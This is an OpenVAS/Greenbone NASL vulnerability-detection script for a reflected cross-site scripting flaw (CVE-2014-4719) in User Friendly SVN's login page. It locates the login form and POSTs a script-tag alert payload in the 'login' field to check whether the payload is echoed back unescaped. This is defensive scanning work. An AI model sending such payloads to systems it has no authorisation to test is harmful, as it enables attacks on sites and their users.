User Friendly SVN 'login' Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804725");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2014-4719");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2014-07-29 17:06:00 +0530 (Tue, 29 Jul 2014)");
  script_name("User Friendly SVN 'login' Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"User Friendly SVN is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it is
  possible to read cookie or not.");

  script_tag(name:"insight", value:"Flaw is due to the /svn/login/ script does not validate input to the 'login'
  parameter before returning it to users.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"User-Friendly SVN version before 1.0.7");

  script_tag(name:"solution", value:"Upgrade to version 1.0.7 or later.");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127177");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/68155");
  script_xref(name:"URL", value:"http://www.zerodaylab.com/vulnerabilities/CVE-2014/CVE-2014-4719.html");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_require_ports("Services/www", 80);
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

http_port = http_get_port(default:80);

if(!http_can_host_php(port:http_port)){
  exit(0);
}

host = http_host_name(port:http_port);

foreach dir (make_list_unique("/", "/usvn", "/usvn/public", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  sndReq = http_get(item:string(dir, "/login/index.php"),  port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if(">Welcome to USVN<" >< rcvRes)
  {
    url = dir + '/login/index.php';

    postData = 'login=<script>alert("Cross Site Scripting Attack");</script>&password=&submit=Submit';

    sndReq = string("POST ", url, " HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "Content-Type: application/x-www-form-urlencoded\r\n",
                    "Content-Length: ", strlen(postData), "\r\n",
                    "\r\n", postData);

    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:FALSE);

    ## Extra check is not possible
    if(rcvRes =~ "^HTTP/1\.[01] 200" && '<script>alert("Cross Site Scripting Attack");</script>' >< rcvRes
    && '>USVN<' >< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);